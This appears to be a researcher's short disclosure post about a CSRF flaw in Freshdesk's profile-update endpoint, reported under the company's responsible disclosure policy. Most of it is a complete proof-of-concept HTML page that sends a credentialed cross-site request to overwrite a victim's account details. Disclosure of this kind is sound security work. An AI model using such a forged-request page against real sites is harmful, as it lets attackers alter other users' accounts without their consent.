I was able to find out few web application related security issues in the Freshdesk website. They had a responsible disclosure policy, so I was able to report them. http://freshdesk.com/security
The application did not have proper CSRF tokens used. Any arbitrary user could change account information of other users.
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://exploit.freshdesk.com/support/profile", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------273522544628602");
xhr.withCredentials = true;
var body = "-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"_method\"\r\n" +
"\r\n" +
"put\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[avatar_attributes][content]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[name]\"\r\n" +
"\r\n" +
"haxor\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[job_title]\"\r\n" +
"\r\n" +
"haxor\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[phone]\"\r\n" +
"\r\n" +
"12345678904\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[mobile]\"\r\n" +
"\r\n" +
"7894561233\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[twitter_id]\"\r\n" +
"\r\n" +
"@exfdsfdsf\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[time_zone]\"\r\n" +
"\r\n" +
"sesdsds\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"user[language]\"\r\n" +
"\r\n" +
"en\r\n" +
"-----------------------------273522544628602\r\n" +
"Content-Disposition: form-data; name=\"commit\"\r\n" +
"\r\n" +
"Save Changes\r\n" +
"-----------------------------273522544628602--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>